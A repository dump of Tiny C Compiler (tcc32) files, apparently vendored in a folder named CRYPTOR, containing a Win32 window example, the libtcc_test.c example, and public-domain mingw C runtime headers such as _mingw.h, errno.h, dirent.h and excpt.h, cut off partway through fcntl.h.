lpCmdLine[0] ? lpCmdLine : "Hello Windows!"; 93 | 94 | // Fill in window class structure with parameters that describe 95 | // the main window. 96 | 97 | ZeroMemory(&wc, sizeof wc); 98 | wc.hInstance = hInstance; 99 | wc.lpszClassName = szAppName; 100 | wc.lpfnWndProc = (WNDPROC)WndProc; 101 | wc.style = CS_DBLCLKS|CS_VREDRAW|CS_HREDRAW; 102 | wc.hbrBackground = (HBRUSH)GetStockObject(BLACK_BRUSH); 103 | wc.hIcon = LoadIcon(NULL, IDI_APPLICATION); 104 | wc.hCursor = LoadCursor(NULL, IDC_ARROW); 105 | 106 | if (FALSE == RegisterClass(&wc)) 107 | return 0; 108 | 109 | // create the browser 110 | hwnd = CreateWindow( 111 | szAppName, 112 | szTitle, 113 | WS_OVERLAPPEDWINDOW|WS_VISIBLE, 114 | CW_USEDEFAULT, 115 | CW_USEDEFAULT, 116 | 360,//CW_USEDEFAULT, 117 | 240,//CW_USEDEFAULT, 118 | 0, 119 | 0, 120 | hInstance, 121 | 0); 122 | 123 | if (NULL == hwnd) 124 | return 0; 125 | 126 | // Main message loop: 127 | while (GetMessage(&msg, NULL, 0, 0) > 0) { 128 | TranslateMessage(&msg); 129 | DispatchMessage(&msg); 130 | } 131 | 132 | return msg.wParam; 133 | } 134 | 135 | //+--------------------------------------------------------------------------- 136 | 137 | //+--------------------------------------------------------------------------- 138 | 139 | void CenterWindow(HWND hwnd_self) 140 | { 141 | HWND hwnd_parent; 142 | RECT rw_self, rc_parent, rw_parent; 143 | int xpos, ypos; 144 | 145 | hwnd_parent = GetParent(hwnd_self); 146 | if (NULL == hwnd_parent) 147 | hwnd_parent = GetDesktopWindow(); 148 | 149 | GetWindowRect(hwnd_parent, &rw_parent); 150 | GetClientRect(hwnd_parent, &rc_parent); 151 | GetWindowRect(hwnd_self, &rw_self); 152 | 153 | xpos = rw_parent.left + (rc_parent.right + rw_self.left - rw_self.right) / 2; 154 | ypos = rw_parent.top + (rc_parent.bottom + rw_self.top - rw_self.bottom) / 2; 155 | 156 | SetWindowPos( 157 | hwnd_self, NULL, 158 | xpos, ypos, 0, 0, 159 | SWP_NOSIZE|SWP_NOZORDER|SWP_NOACTIVATE 160 | ); 161 | } 162 | 163 | //+--------------------------------------------------------------------------- 164 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/examples/libtcc_test.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Simple Test program for libtcc 3 | * 4 | * libtcc can be useful to use tcc as a "backend" for a code generator. 5 | */ 6 | #include 7 | #include 8 | #include 9 | 10 | #include "libtcc.h" 11 | 12 | /* this function is called by the generated code */ 13 | int add(int a, int b) 14 | { 15 | return a + b; 16 | } 17 | 18 | /* this strinc is referenced by the generated code */ 19 | const char hello[] = "Hello World!"; 20 | 21 | char my_program[] = 22 | "#include \n" /* include the "Simple libc header for TCC" */ 23 | "extern int add(int a, int b);\n" 24 | "#ifdef _WIN32\n" /* dynamically linked data needs 'dllimport' */ 25 | " __attribute__((dllimport))\n" 26 | "#endif\n" 27 | "extern const char hello[];\n" 28 | "int fib(int n)\n" 29 | "{\n" 30 | " if (n <= 2)\n" 31 | " return 1;\n" 32 | " else\n" 33 | " return fib(n-1) + fib(n-2);\n" 34 | "}\n" 35 | "\n" 36 | "int foo(int n)\n" 37 | "{\n" 38 | " printf(\"%s\\n\", hello);\n" 39 | " printf(\"fib(%d) = %d\\n\", n, fib(n));\n" 40 | " printf(\"add(%d, %d) = %d\\n\", n, 2 * n, add(n, 2 * n));\n" 41 | " return 0;\n" 42 | "}\n"; 43 | 44 | int main(int argc, char **argv) 45 | { 46 | TCCState *s; 47 | int i; 48 | int (*func)(int); 49 | 50 | s = tcc_new(); 51 | if (!s) { 52 | fprintf(stderr, "Could not create tcc state\n"); 53 | exit(1); 54 | } 55 | 56 | /* if tcclib.h and libtcc1.a are not installed, where can we find them */ 57 | for (i = 1; i < argc; ++i) { 58 | char *a = argv[i]; 59 | if (a[0] == '-') { 60 | if (a[1] == 'B') 61 | tcc_set_lib_path(s, a+2); 62 | else if (a[1] == 'I') 63 | tcc_add_include_path(s, a+2); 64 | else if (a[1] == 'L') 65 | tcc_add_library_path(s, a+2); 66 | } 67 | } 68 | 69 | /* MUST BE CALLED before any compilation */ 70 | tcc_set_output_type(s, TCC_OUTPUT_MEMORY); 71 | 72 | if (tcc_compile_string(s, my_program) == -1) 73 | return 1; 74 | 75 | /* as a test, we add symbols that the compiled program can use. 76 | You may also open a dll with tcc_add_dll() and use symbols from that */ 77 | tcc_add_symbol(s, "add", add); 78 | tcc_add_symbol(s, "hello", hello); 79 | 80 | /* relocate the code */ 81 | if (tcc_relocate(s, TCC_RELOCATE_AUTO) < 0) 82 | return 1; 83 | 84 | /* get entry symbol */ 85 | func = tcc_get_symbol(s, "foo"); 86 | if (!func) 87 | return 1; 88 | 89 | /* run the code */ 90 | func(32); 91 | 92 | /* delete the state */ 93 | tcc_delete(s); 94 | 95 | return 0; 96 | } 97 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/include/_mingw.h: -------------------------------------------------------------------------------- 1 | /* 2 | * _mingw.h 3 | * 4 | * This file is for TinyCC and not part of the Mingw32 package. 5 | * 6 | * THIS SOFTWARE IS NOT COPYRIGHTED 7 | * 8 | * This source code is offered for use in the public domain. You may 9 | * use, modify or distribute it freely. 10 | * 11 | * This code is distributed in the hope that it will be useful but 12 | * WITHOUT ANY WARRANTY. ALL WARRANTIES, EXPRESS OR IMPLIED ARE HEREBY 13 | * DISCLAIMED. This includes but is not limited to warranties of 14 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 15 | * 16 | */ 17 | 18 | #ifndef __MINGW_H 19 | #define __MINGW_H 20 | 21 | /* some winapi files define these before including _mingw.h --> */ 22 | #undef __cdecl 23 | #undef _X86_ 24 | #undef WIN32 25 | /* <-- */ 26 | 27 | #include 28 | #include 29 | 30 | #define __int8 char 31 | #define __int16 short 32 | #define __int32 int 33 | #define __int64 long long 34 | #define _HAVE_INT64 35 | 36 | #define __cdecl 37 | #define __declspec(x) __attribute__((x)) 38 | #define __unaligned __attribute__((packed)) 39 | #define __fastcall __attribute__((fastcall)) 40 | 41 | #define __MSVCRT__ 1 42 | #undef _MSVCRT_ 43 | #define __MINGW_IMPORT extern __declspec(dllimport) 44 | #define __MINGW_ATTRIB_NORETURN 45 | #define __MINGW_ATTRIB_CONST 46 | #define __MINGW_ATTRIB_DEPRECATED 47 | #define __MINGW_ATTRIB_MALLOC 48 | #define __MINGW_ATTRIB_PURE 49 | #define __MINGW_ATTRIB_NONNULL(arg) 50 | #define __MINGW_NOTHROW 51 | #define __GNUC_VA_LIST 52 | 53 | #define _CRTIMP extern 54 | #define __CRT_INLINE extern __inline__ 55 | 56 | #define _CRT_ALIGN(x) __attribute__((aligned(x))) 57 | #define DECLSPEC_ALIGN(x) __attribute__((aligned(x))) 58 | #define _CRT_PACKING 8 59 | #define __CRT_UNALIGNED 60 | #define _CONST_RETURN 61 | 62 | #ifndef _TRUNCATE 63 | #define _TRUNCATE ((size_t)-1) 64 | #endif 65 | 66 | #define __CRT_STRINGIZE(_Value) #_Value 67 | #define _CRT_STRINGIZE(_Value) __CRT_STRINGIZE(_Value) 68 | #define __CRT_WIDE(_String) L ## _String 69 | #define _CRT_WIDE(_String) __CRT_WIDE(_String) 70 | 71 | #ifdef _WIN64 72 | #define __stdcall 73 | #define _AMD64_ 1 74 | #define __x86_64 1 75 | #define _M_X64 100 /* Visual Studio */ 76 | #define _M_AMD64 100 /* Visual Studio */ 77 | #define USE_MINGW_SETJMP_TWO_ARGS 78 | #define mingw_getsp tinyc_getbp 79 | #define __TRY__ 80 | #else 81 | #define __stdcall __attribute__((__stdcall__)) 82 | #define _X86_ 1 83 | #define _M_IX86 300 /* Visual Studio */ 84 | #define WIN32 1 85 | #define _USE_32BIT_TIME_T 86 | #ifdef __arm__ 87 | #define __TRY__ 88 | #else 89 | #define __TRY__ void __try__(void**), *_sehrec[6]; __try__(_sehrec); 90 | #endif 91 | #endif 92 | 93 | /* in stddef.h */ 94 | #define _SIZE_T_DEFINED 95 | #define _SSIZE_T_DEFINED 96 | #define _PTRDIFF_T_DEFINED 97 | #define _WCHAR_T_DEFINED 98 | #define _UINTPTR_T_DEFINED 99 | #define _INTPTR_T_DEFINED 100 | #define _INTEGRAL_MAX_BITS 64 101 | 102 | #ifndef _TIME32_T_DEFINED 103 | #define _TIME32_T_DEFINED 104 | typedef long __time32_t; 105 | #endif 106 | 107 | #ifndef _TIME64_T_DEFINED 108 | #define _TIME64_T_DEFINED 109 | typedef long long __time64_t; 110 | #endif 111 | 112 | #ifndef _TIME_T_DEFINED 113 | #define _TIME_T_DEFINED 114 | #ifdef _USE_32BIT_TIME_T 115 | typedef __time32_t time_t; 116 | #else 117 | typedef __time64_t time_t; 118 | #endif 119 | #endif 120 | 121 | #ifndef _WCTYPE_T_DEFINED 122 | #define _WCTYPE_T_DEFINED 123 | typedef wchar_t wctype_t; 124 | #endif 125 | 126 | #ifndef _WINT_T 127 | #define _WINT_T 128 | typedef __WINT_TYPE__ wint_t; 129 | #endif 130 | 131 | typedef int errno_t; 132 | #define _ERRCODE_DEFINED 133 | 134 | typedef struct threadlocaleinfostruct *pthreadlocinfo; 135 | typedef struct threadmbcinfostruct *pthreadmbcinfo; 136 | typedef struct localeinfo_struct _locale_tstruct,*_locale_t; 137 | 138 | /* for winapi */ 139 | #define _ANONYMOUS_UNION 140 | #define _ANONYMOUS_STRUCT 141 | #define DECLSPEC_NORETURN 142 | #define DECLARE_STDCALL_P(type) __stdcall type 143 | #define NOSERVICE 1 144 | #define NOMCX 1 145 | #define NOIME 1 146 | #define __INTRIN_H_ 147 | #ifndef DUMMYUNIONNAME 148 | # define DUMMYUNIONNAME 149 | # define DUMMYUNIONNAME1 150 | # define DUMMYUNIONNAME2 151 | # define DUMMYUNIONNAME3 152 | # define DUMMYUNIONNAME4 153 | # define DUMMYUNIONNAME5 154 | #endif 155 | #ifndef DUMMYSTRUCTNAME 156 | # define DUMMYSTRUCTNAME 157 | #endif 158 | #ifndef WINVER 159 | # define WINVER 0x0502 160 | #endif 161 | #ifndef _WIN32_WINNT 162 | # define _WIN32_WINNT 0x502 163 | #endif 164 | 165 | #define __C89_NAMELESS 166 | #define __MINGW_EXTENSION 167 | #define WINAPI_FAMILY_PARTITION(X) 1 168 | #define MINGW_HAS_SECURE_API 169 | 170 | #endif /* __MINGW_H */ 171 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/include/assert.h: -------------------------------------------------------------------------------- 1 | /** 2 | * This file has no copyright assigned and is placed in the Public Domain. 3 | * This file is part of the w64 mingw-runtime package. 4 | * No warranty is given; refer to the file DISCLAIMER within this package. 5 | */ 6 | #ifndef __ASSERT_H_ 7 | #define __ASSERT_H_ 8 | 9 | #include <_mingw.h> 10 | #ifdef __cplusplus 11 | #include 12 | #endif 13 | 14 | #ifdef NDEBUG 15 | #ifndef assert 16 | #define assert(_Expression) ((void)0) 17 | #endif 18 | #else 19 | 20 | #ifndef _CRT_TERMINATE_DEFINED 21 | #define _CRT_TERMINATE_DEFINED 22 | void __cdecl __MINGW_NOTHROW exit(int _Code) __MINGW_ATTRIB_NORETURN; 23 | _CRTIMP void __cdecl __MINGW_NOTHROW _exit(int _Code) __MINGW_ATTRIB_NORETURN; 24 | #if !defined __NO_ISOCEXT /* extern stub in static libmingwex.a */ 25 | /* C99 function name */ 26 | void __cdecl _Exit(int) __MINGW_ATTRIB_NORETURN; 27 | __CRT_INLINE __MINGW_ATTRIB_NORETURN void __cdecl _Exit(int status) 28 | { _exit(status); } 29 | #endif 30 | 31 | #pragma push_macro("abort") 32 | #undef abort 33 | void __cdecl __declspec(noreturn) abort(void); 34 | #pragma pop_macro("abort") 35 | 36 | #endif 37 | 38 | #ifdef __cplusplus 39 | extern "C" { 40 | #endif 41 | 42 | 43 | extern void __cdecl _wassert(const wchar_t *_Message,const wchar_t *_File,unsigned _Line); 44 | extern void __cdecl _assert(const char *, const char *, unsigned); 45 | 46 | #ifdef __cplusplus 47 | } 48 | #endif 49 | 50 | #ifndef assert 51 | //#define assert(_Expression) (void)((!!(_Expression)) || (_wassert(_CRT_WIDE(#_Expression),_CRT_WIDE(__FILE__),__LINE__),0)) 52 | #define assert(e) ((e) ? (void)0 : _assert(#e, __FILE__, __LINE__)) 53 | #endif 54 | 55 | #endif 56 | 57 | #endif 58 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/include/dir.h: -------------------------------------------------------------------------------- 1 | /** 2 | * This file has no copyright assigned and is placed in the Public Domain. 3 | * This file is part of the w64 mingw-runtime package. 4 | * No warranty is given; refer to the file DISCLAIMER within this package. 5 | */ 6 | /* 7 | * dir.h 8 | * 9 | * This file OBSOLESCENT and only provided for backward compatibility. 10 | * Please use io.h instead. 11 | * 12 | * This file is part of the Mingw32 package. 13 | * 14 | * Contributors: 15 | * Created by Colin Peters 16 | * Mumit Khan 17 | * 18 | * THIS SOFTWARE IS NOT COPYRIGHTED 19 | * 20 | * This source code is offered for use in the public domain. You may 21 | * use, modify or distribute it freely. 22 | * 23 | * This code is distributed in the hope that it will be useful but 24 | * WITHOUT ANY WARRANTY. ALL WARRANTIES, EXPRESS OR IMPLIED ARE HEREBY 25 | * DISCLAIMED. This includes but is not limited to warranties of 26 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 27 | * 28 | */ 29 | 30 | #include 31 | 32 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/include/direct.h: -------------------------------------------------------------------------------- 1 | /** 2 | * This file has no copyright assigned and is placed in the Public Domain. 3 | * This file is part of the w64 mingw-runtime package. 4 | * No warranty is given; refer to the file DISCLAIMER within this package. 5 | */ 6 | #ifndef _INC_DIRECT 7 | #define _INC_DIRECT 8 | 9 | #include <_mingw.h> 10 | #include 11 | 12 | #pragma pack(push,_CRT_PACKING) 13 | 14 | #ifdef __cplusplus 15 | extern "C" { 16 | #endif 17 | 18 | #ifndef _DISKFREE_T_DEFINED 19 | #define _DISKFREE_T_DEFINED 20 | struct _diskfree_t { 21 | unsigned total_clusters; 22 | unsigned avail_clusters; 23 | unsigned sectors_per_cluster; 24 | unsigned bytes_per_sector; 25 | }; 26 | #endif 27 | 28 | _CRTIMP char *__cdecl _getcwd(char *_DstBuf,int _SizeInBytes); 29 | _CRTIMP char *__cdecl _getdcwd(int _Drive,char *_DstBuf,int _SizeInBytes); 30 | char *__cdecl _getdcwd_nolock(int _Drive,char *_DstBuf,int _SizeInBytes); 31 | _CRTIMP int __cdecl _chdir(const char *_Path); 32 | _CRTIMP int __cdecl _mkdir(const char *_Path); 33 | _CRTIMP int __cdecl _rmdir(const char *_Path); 34 | _CRTIMP int __cdecl _chdrive(int _Drive); 35 | _CRTIMP int __cdecl _getdrive(void); 36 | _CRTIMP unsigned long __cdecl _getdrives(void); 37 | 38 | #ifndef _GETDISKFREE_DEFINED 39 | #define _GETDISKFREE_DEFINED 40 | _CRTIMP unsigned __cdecl _getdiskfree(unsigned _Drive,struct _diskfree_t *_DiskFree); 41 | #endif 42 | 43 | #ifndef _WDIRECT_DEFINED 44 | #define _WDIRECT_DEFINED 45 | _CRTIMP wchar_t *__cdecl _wgetcwd(wchar_t *_DstBuf,int _SizeInWords); 46 | _CRTIMP wchar_t *__cdecl _wgetdcwd(int _Drive,wchar_t *_DstBuf,int _SizeInWords); 47 | wchar_t *__cdecl _wgetdcwd_nolock(int _Drive,wchar_t *_DstBuf,int _SizeInWords); 48 | _CRTIMP int __cdecl _wchdir(const wchar_t *_Path); 49 | _CRTIMP int __cdecl _wmkdir(const wchar_t *_Path); 50 | _CRTIMP int __cdecl _wrmdir(const wchar_t *_Path); 51 | #endif 52 | 53 | #ifndef NO_OLDNAMES 54 | 55 | #define diskfree_t _diskfree_t 56 | 57 | char *__cdecl getcwd(char *_DstBuf,int _SizeInBytes); 58 | int __cdecl chdir(const char *_Path); 59 | int __cdecl mkdir(const char *_Path); 60 | int __cdecl rmdir(const char *_Path); 61 | #endif 62 | 63 | #ifdef __cplusplus 64 | } 65 | #endif 66 | 67 | #pragma pack(pop) 68 | #endif 69 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/include/dirent.h: -------------------------------------------------------------------------------- 1 | /** 2 | * This file has no copyright assigned and is placed in the Public Domain. 3 | * This file is part of the w64 mingw-runtime package. 4 | * No warranty is given; refer to the file DISCLAIMER within this package. 5 | */ 6 | /* All the headers include this file. */ 7 | #include <_mingw.h> 8 | 9 | #ifndef __STRICT_ANSI__ 10 | 11 | #ifndef _DIRENT_H_ 12 | #define _DIRENT_H_ 13 | 14 | 15 | #pragma pack(push,_CRT_PACKING) 16 | 17 | #include 18 | 19 | #ifndef RC_INVOKED 20 | 21 | #ifdef __cplusplus 22 | extern "C" { 23 | #endif 24 | 25 | struct dirent 26 | { 27 | long d_ino; /* Always zero. */ 28 | unsigned short d_reclen; /* Always zero. */ 29 | unsigned short d_namlen; /* Length of name in d_name. */ 30 | char* d_name; /* File name. */ 31 | /* NOTE: The name in the dirent structure points to the name in the 32 | * finddata_t structure in the DIR. */ 33 | }; 34 | 35 | /* 36 | * This is an internal data structure. Good programmers will not use it 37 | * except as an argument to one of the functions below. 38 | * dd_stat field is now int (was short in older versions). 39 | */ 40 | typedef struct 41 | { 42 | /* disk transfer area for this dir */ 43 | struct _finddata_t dd_dta; 44 | 45 | /* dirent struct to return from dir (NOTE: this makes this thread 46 | * safe as long as only one thread uses a particular DIR struct at 47 | * a time) */ 48 | struct dirent dd_dir; 49 | 50 | /* _findnext handle */ 51 | long dd_handle; 52 | 53 | /* 54 | * Status of search: 55 | * 0 = not started yet (next entry to read is first entry) 56 | * -1 = off the end 57 | * positive = 0 based index of next entry 58 | */ 59 | int dd_stat; 60 | 61 | /* given path for dir with search pattern (struct is extended) */ 62 | char dd_name[1]; 63 | } DIR; 64 | 65 | DIR* __cdecl opendir (const char*); 66 | struct dirent* __cdecl readdir (DIR*); 67 | int __cdecl closedir (DIR*); 68 | void __cdecl rewinddir (DIR*); 69 | long __cdecl telldir (DIR*); 70 | void __cdecl seekdir (DIR*, long); 71 | 72 | 73 | /* wide char versions */ 74 | 75 | struct _wdirent 76 | { 77 | long d_ino; /* Always zero. */ 78 | unsigned short d_reclen; /* Always zero. */ 79 | unsigned short d_namlen; /* Length of name in d_name. */ 80 | wchar_t* d_name; /* File name. */ 81 | /* NOTE: The name in the dirent structure points to the name in the * wfinddata_t structure in the _WDIR. */ 82 | }; 83 | 84 | /* 85 | * This is an internal data structure. Good programmers will not use it 86 | * except as an argument to one of the functions below. 87 | */ 88 | typedef struct 89 | { 90 | /* disk transfer area for this dir */ 91 | struct _wfinddata_t dd_dta; 92 | 93 | /* dirent struct to return from dir (NOTE: this makes this thread 94 | * safe as long as only one thread uses a particular DIR struct at 95 | * a time) */ 96 | struct _wdirent dd_dir; 97 | 98 | /* _findnext handle */ 99 | long dd_handle; 100 | 101 | /* 102 | * Status of search: 103 | * 0 = not started yet (next entry to read is first entry) 104 | * -1 = off the end 105 | * positive = 0 based index of next entry 106 | */ 107 | int dd_stat; 108 | 109 | /* given path for dir with search pattern (struct is extended) */ 110 | wchar_t dd_name[1]; 111 | } _WDIR; 112 | 113 | 114 | 115 | _WDIR* __cdecl _wopendir (const wchar_t*); 116 | struct _wdirent* __cdecl _wreaddir (_WDIR*); 117 | int __cdecl _wclosedir (_WDIR*); 118 | void __cdecl _wrewinddir (_WDIR*); 119 | long __cdecl _wtelldir (_WDIR*); 120 | void __cdecl _wseekdir (_WDIR*, long); 121 | 122 | 123 | #ifdef __cplusplus 124 | } 125 | #endif 126 | 127 | #endif /* Not RC_INVOKED */ 128 | 129 | #pragma pack(pop) 130 | 131 | #endif /* Not _DIRENT_H_ */ 132 | 133 | 134 | #endif /* Not __STRICT_ANSI__ */ 135 | 136 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/include/dos.h: -------------------------------------------------------------------------------- 1 | /** 2 | * This file has no copyright assigned and is placed in the Public Domain. 3 | * This file is part of the w64 mingw-runtime package. 4 | * No warranty is given; refer to the file DISCLAIMER within this package. 5 | */ 6 | #ifndef _INC_DOS 7 | #define _INC_DOS 8 | 9 | #include <_mingw.h> 10 | #include 11 | 12 | #pragma pack(push,_CRT_PACKING) 13 | 14 | #ifdef __cplusplus 15 | extern "C" { 16 | #endif 17 | 18 | #ifndef _DISKFREE_T_DEFINED 19 | #define _DISKFREE_T_DEFINED 20 | 21 | struct _diskfree_t { 22 | unsigned total_clusters; 23 | unsigned avail_clusters; 24 | unsigned sectors_per_cluster; 25 | unsigned bytes_per_sector; 26 | }; 27 | #endif 28 | 29 | #define _A_NORMAL 0x00 30 | #define _A_RDONLY 0x01 31 | #define _A_HIDDEN 0x02 32 | #define _A_SYSTEM 0x04 33 | #define _A_SUBDIR 0x10 34 | #define _A_ARCH 0x20 35 | 36 | #ifndef _GETDISKFREE_DEFINED 37 | #define _GETDISKFREE_DEFINED 38 | _CRTIMP unsigned __cdecl _getdiskfree(unsigned _Drive,struct _diskfree_t *_DiskFree); 39 | #endif 40 | 41 | #if (defined(_X86_) && !defined(__x86_64)) 42 | void __cdecl _disable(void); 43 | void __cdecl _enable(void); 44 | #endif 45 | 46 | #ifndef NO_OLDNAMES 47 | #define diskfree_t _diskfree_t 48 | #endif 49 | 50 | #ifdef __cplusplus 51 | } 52 | #endif 53 | 54 | #pragma pack(pop) 55 | #endif 56 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/include/errno.h: -------------------------------------------------------------------------------- 1 | /** 2 | * This file has no copyright assigned and is placed in the Public Domain. 3 | * This file is part of the w64 mingw-runtime package. 4 | * No warranty is given; refer to the file DISCLAIMER within this package. 5 | */ 6 | #ifndef _INC_ERRNO 7 | #define _INC_ERRNO 8 | 9 | #include <_mingw.h> 10 | 11 | #ifdef __cplusplus 12 | extern "C" { 13 | #endif 14 | 15 | #ifndef _CRT_ERRNO_DEFINED 16 | #define _CRT_ERRNO_DEFINED 17 | _CRTIMP extern int *__cdecl _errno(void); 18 | #define errno (*_errno()) 19 | 20 | errno_t __cdecl _set_errno(int _Value); 21 | errno_t __cdecl _get_errno(int *_Value); 22 | #endif 23 | 24 | #define EPERM 1 25 | #define ENOENT 2 26 | #define ESRCH 3 27 | #define EINTR 4 28 | #define EIO 5 29 | #define ENXIO 6 30 | #define E2BIG 7 31 | #define ENOEXEC 8 32 | #define EBADF 9 33 | #define ECHILD 10 34 | #define EAGAIN 11 35 | #define ENOMEM 12 36 | #define EACCES 13 37 | #define EFAULT 14 38 | #define EBUSY 16 39 | #define EEXIST 17 40 | #define EXDEV 18 41 | #define ENODEV 19 42 | #define ENOTDIR 20 43 | #define EISDIR 21 44 | #define ENFILE 23 45 | #define EMFILE 24 46 | #define ENOTTY 25 47 | #define EFBIG 27 48 | #define ENOSPC 28 49 | #define ESPIPE 29 50 | #define EROFS 30 51 | #define EMLINK 31 52 | #define EPIPE 32 53 | #define EDOM 33 54 | #define EDEADLK 36 55 | #define ENAMETOOLONG 38 56 | #define ENOLCK 39 57 | #define ENOSYS 40 58 | #define ENOTEMPTY 41 59 | 60 | #ifndef RC_INVOKED 61 | #if !defined(_SECURECRT_ERRCODE_VALUES_DEFINED) 62 | #define _SECURECRT_ERRCODE_VALUES_DEFINED 63 | #define EINVAL 22 64 | #define ERANGE 34 65 | #define EILSEQ 42 66 | #define STRUNCATE 80 67 | #endif 68 | #endif 69 | 70 | #define EDEADLOCK EDEADLK 71 | 72 | #ifdef __cplusplus 73 | } 74 | #endif 75 | #endif 76 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/include/excpt.h: -------------------------------------------------------------------------------- 1 | /** 2 | * This file has no copyright assigned and is placed in the Public Domain. 3 | * This file is part of the w64 mingw-runtime package. 4 | * No warranty is given; refer to the file DISCLAIMER within this package. 5 | */ 6 | #ifndef _INC_EXCPT 7 | #define _INC_EXCPT 8 | 9 | #include <_mingw.h> 10 | 11 | #pragma pack(push,_CRT_PACKING) 12 | 13 | #ifdef __cplusplus 14 | extern "C" { 15 | #endif 16 | 17 | struct _EXCEPTION_POINTERS; 18 | 19 | #ifndef EXCEPTION_DISPOSITION 20 | #define EXCEPTION_DISPOSITION int 21 | #endif 22 | #define ExceptionContinueExecution 0 23 | #define ExceptionContinueSearch 1 24 | #define ExceptionNestedException 2 25 | #define ExceptionCollidedUnwind 3 26 | 27 | #if (defined(_X86_) && !defined(__x86_64)) 28 | struct _EXCEPTION_RECORD; 29 | struct _CONTEXT; 30 | 31 | EXCEPTION_DISPOSITION __cdecl _except_handler(struct _EXCEPTION_RECORD *_ExceptionRecord,void *_EstablisherFrame,struct _CONTEXT *_ContextRecord,void *_DispatcherContext); 32 | #elif defined(__ia64__) 33 | 34 | typedef struct _EXCEPTION_POINTERS *Exception_info_ptr; 35 | struct _EXCEPTION_RECORD; 36 | struct _CONTEXT; 37 | struct _DISPATCHER_CONTEXT; 38 | 39 | _CRTIMP EXCEPTION_DISPOSITION __cdecl __C_specific_handler (struct _EXCEPTION_RECORD *_ExceptionRecord,unsigned __int64 _MemoryStackFp,unsigned __int64 _BackingStoreFp,struct _CONTEXT *_ContextRecord,struct _DISPATCHER_CONTEXT *_DispatcherContext,unsigned __int64 _GlobalPointer); 40 | #elif defined(__x86_64) 41 | 42 | struct _EXCEPTION_RECORD; 43 | struct _CONTEXT; 44 | #endif 45 | 46 | #define GetExceptionCode _exception_code 47 | #define exception_code _exception_code 48 | #define GetExceptionInformation (struct _EXCEPTION_POINTERS *)_exception_info 49 | #define exception_info (struct _EXCEPTION_POINTERS *)_exception_info 50 | #define AbnormalTermination _abnormal_termination 51 | #define abnormal_termination _abnormal_termination 52 | 53 | unsigned long __cdecl _exception_code(void); 54 | void *__cdecl _exception_info(void); 55 | int __cdecl _abnormal_termination(void); 56 | 57 | #define EXCEPTION_EXECUTE_HANDLER 1 58 | #define EXCEPTION_CONTINUE_SEARCH 0 59 | #define EXCEPTION_CONTINUE_EXECUTION -1 60 | 61 | /* CRT stuff */ 62 | typedef void (__cdecl * _PHNDLR)(int); 63 | 64 | struct _XCPT_ACTION { 65 | unsigned long XcptNum; 66 | int SigNum; 67 | _PHNDLR XcptAction; 68 | }; 69 | 70 | extern struct _XCPT_ACTION _XcptActTab[]; 71 | extern int _XcptActTabCount; 72 | extern int _XcptActTabSize; 73 | extern int _First_FPE_Indx; 74 | extern int _Num_FPE; 75 | 76 | int __cdecl __CppXcptFilter(unsigned long _ExceptionNum,struct _EXCEPTION_POINTERS * _ExceptionPtr); 77 | int __cdecl _XcptFilter(unsigned long _ExceptionNum,struct _EXCEPTION_POINTERS * _ExceptionPtr); 78 | 79 | /* 80 | * The type of function that is expected as an exception handler to be 81 | * installed with _try1. 82 | */ 83 | typedef EXCEPTION_DISPOSITION (*PEXCEPTION_HANDLER)(struct _EXCEPTION_RECORD*, void*, struct _CONTEXT*, void*); 84 | 85 | #ifndef HAVE_NO_SEH 86 | /* 87 | * This is not entirely necessary, but it is the structure installed by 88 | * the _try1 primitive below. 89 | */ 90 | typedef struct _EXCEPTION_REGISTRATION { 91 | struct _EXCEPTION_REGISTRATION *prev; 92 | EXCEPTION_DISPOSITION (*handler)(struct _EXCEPTION_RECORD*, void*, struct _CONTEXT*, void*); 93 | } EXCEPTION_REGISTRATION, *PEXCEPTION_REGISTRATION; 94 | 95 | typedef EXCEPTION_REGISTRATION EXCEPTION_REGISTRATION_RECORD; 96 | typedef PEXCEPTION_REGISTRATION PEXCEPTION_REGISTRATION_RECORD; 97 | #endif 98 | 99 | #if (defined(_X86_) && !defined(__x86_64)) 100 | #define __try1(pHandler) \ 101 | __asm__ ("pushl %0;pushl %%fs:0;movl %%esp,%%fs:0;" : : "g" (pHandler)); 102 | 103 | #define __except1 \ 104 | __asm__ ("movl (%%esp),%%eax;movl %%eax,%%fs:0;addl $8,%%esp;" \ 105 | : : : "%eax"); 106 | #elif defined(__x86_64) 107 | #define __try1(pHandler) \ 108 | __asm__ ("pushq %0;pushq %%gs:0;movq %%rsp,%%gs:0;" : : "g" (pHandler)); 109 | 110 | #define __except1 \ 111 | __asm__ ("movq (%%rsp),%%rax;movq %%rax,%%gs:0;addq $16,%%rsp;" \ 112 | : : : "%rax"); 113 | #else 114 | #define __try1(pHandler) 115 | #define __except1 116 | #endif 117 | 118 | #ifdef __cplusplus 119 | } 120 | #endif 121 | 122 | #pragma pack(pop) 123 | #endif 124 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/include/fcntl.h: -------------------------------------------------------------------------------- 1 | /** 2 | * This file has no copyright assigned and is placed in the Public Domain. 3 | * This file is part of the w64 mingw-runtime package. 4 | * No warranty is given; refer to the file DISCLAIMER within this package. 5 | */ 6 | #include <_mingw.h> 7 | 8 | #include 9 | 10 | #ifndef _INC_FCNTL 11 | #define _INC_FCNTL 12 | 13 | #define _O_RDONLY 0x0000 14 | #define _O_WRONLY 0x0001 15 | #define _O_RDWR 0x0002 16 | #define _O_APPEND 0x0008 17 | #define _O_CREAT 0x0100 18 | #define _O_TRUNC 0x0200 19 | #define _O_EXCL 0x0400 20 | #define _O_TEXT 0x4000 21 | #define _O_BINARY 0x8000 22 | #define _O_WTEXT 0x10000 23 | #define _O_U16TEXT 0x20000 24 | #define _O_U8TEXT 0x40000 25 | #define _O_ACCMODE (_O_RDONLY|_O_WRONLY|_O_RDWR) 26 | 27 | #define _O_RAW _O_BINARY 28 | #define _O_NOINHERIT 0x0080 29 | #define _O_TEMPORARY 0x0040 30 | #define _O_SHORT_LIVED 0x1000 31 | 32 | #define 